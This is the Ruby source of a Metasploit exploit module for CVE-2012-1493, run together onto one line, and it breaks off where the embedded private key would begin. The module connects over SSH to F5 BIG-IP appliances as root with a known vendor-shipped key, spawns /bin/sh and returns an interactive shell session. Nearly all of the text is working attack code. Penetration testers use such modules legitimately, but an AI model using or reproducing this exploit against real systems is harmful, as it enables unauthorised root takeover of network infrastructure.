## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' require 'net/ssh' class Metasploit3 < Msf::Exploit::Remote include Msf::Auxiliary::Report def initialize super({ 'Name' => 'F5 BIG-IP Known Private Key', 'Version' => '$Revision$', 'Description' => %q{ F5 ships a public/private key pair on BIG-IP appliances that allows passwordless authentication to any other BIG-IP box. }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Privileged' => true, 'Targets' => [ [ "Universal", {} ] ], 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd_interact', 'ConnectionType' => 'find', }, }, 'Author' => ['egypt'], 'License' => MSF_LICENSE, 'References' => [ [ 'URL', 'https://www.trustmatta.com/advisories/MATTA-2012-002.txt' ], [ 'CVE', '2012-1493' ], ], 'DefaultOptions' => { "USERNAME" => "root" }, }) register_options( [ # Since we don't include Tcp, we have to register this manually Opt::RHOST(), Opt::RPORT(22), ], self.class ) register_advanced_options( [ OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]), ] ) deregister_options('PASSWORD','PASS_FILE','BLANK_PASSWORDS','USER_AS_PASS') end def rport datastore['RPORT'] end def ip datastore['RHOST'] end def do_login(ip, user, port) opt_hash = { :auth_methods => ['publickey'], :msframework => framework, :msfmodule => self, :port => port, :key_data => key_data, :disable_agent => true, :config => false, :record_auth_info => true } opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG'] begin ssh_socket = Net::SSH.start(ip, user, opt_hash) rescue Rex::ConnectionError, Rex::AddressInUse return :connection_error rescue Net::SSH::Disconnect, ::EOFError return :connection_disconnect rescue Net::SSH::AuthenticationFailed # Try, try, again print_error "#{ip}:#{rport} SSH - Failed authentication" rescue Net::SSH::Exception => e return [:fail,nil] # For whatever reason. end if ssh_socket # Create a new session from the socket, then dump it. conn = Net::SSH::CommandStream.new(ssh_socket, '/bin/sh', true) ssh_socket = nil handler(conn.lsock) return [:success, nil] else return [:fail, nil] end end def exploit ret,proof = do_login(ip, datastore["USERNAME"], rport) print_good "Success: '#{proof.to_s.gsub(/[\r\n\e\b\a]/, ' ')}'" end def key_data <